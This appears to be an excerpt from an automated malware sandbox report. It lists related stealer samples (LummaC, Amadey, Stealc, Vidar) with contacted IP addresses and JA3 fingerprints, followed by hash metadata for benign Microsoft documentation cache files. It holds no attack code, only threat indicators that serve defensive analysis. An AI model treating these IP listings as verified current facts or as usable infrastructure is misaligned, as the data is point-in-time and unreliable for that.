	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
WHOLESALECONNECTIONSNL	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
	lumma.ps1	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	Titan.exe	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
	Titan.exe	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	20.198.118.190 20.198.119.84
	iviewers.dll	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	20.198.118.190 20.198.119.84
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
a0e9f5d64349fb13191bc781f81f42e1	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	TNyOrM6mIM.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
